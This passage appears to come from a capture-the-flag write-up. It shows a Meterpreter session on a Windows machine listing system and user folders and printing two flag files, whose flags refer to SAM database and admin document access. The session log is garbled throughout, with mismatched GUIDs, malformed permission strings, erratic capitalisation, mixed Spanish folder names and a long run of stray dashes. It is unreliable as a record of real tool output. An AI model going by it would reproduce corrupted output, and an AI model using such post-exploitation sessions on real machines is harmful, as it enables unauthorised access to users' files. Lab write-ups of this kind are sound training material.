Sistema {0168888CD-6C6F-11DE-8D1D-001E0BCDE3EC} .TM.BLF 100666/RW-RW-RW- 524288 FIL 2019-03-18 07:21:22 +0900 Sistema {0168888CD-6C6F-11DE-8D1D-001E0BCDE3EC} .TMCONTAINER000000000000001.RE GTRANS-MS 100666/RW-RW-RW- 524288FIL 2019-03-18 07:21:22 +0900 Sistema {016888CD-6C6F-11DE-8D1D-001E0BCDE3EC} .TMContainer0000000000002.re Gtrans-MS 040777/RWXRWXRWX 4096 DIR 2018-12-13 08:03:05 +0900 TXR 1006666/RW-RW-RW-RW-RW-34 FILS 2019-03-18 04:32:48 +0900 flag2.txt 040777/rwxrwxrwx 4096 Dir 2010-11-21 11:41:37 +0900 SystemProfile

Meterpreter> Cat Flag2.txt Flag {sam_database_elevated_access}

meterpreter > cd / meterpreter > cd Users\\Jon\\Documents\\ meterpreter > ls Listing: C:\Users\Jon\Documents ==== Mode Size Type Last modified Name ---- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- mis imágenes 0407777/rwxrwxrwx 0 Dir 2018-12-13 12:13:31 +0900 mis videos 1006666/rw-rw-rw-rw- 402 FIL 2018-12-13 12:13:48 +0900 ASHEINES 100666/rw-rw-rw-rw- 37 fil 2019-03-18 04:26:36 +0900 flag3.txt

Meterpreter> Cat Flag3.txt Flag {admin_documents_can_be_valiable}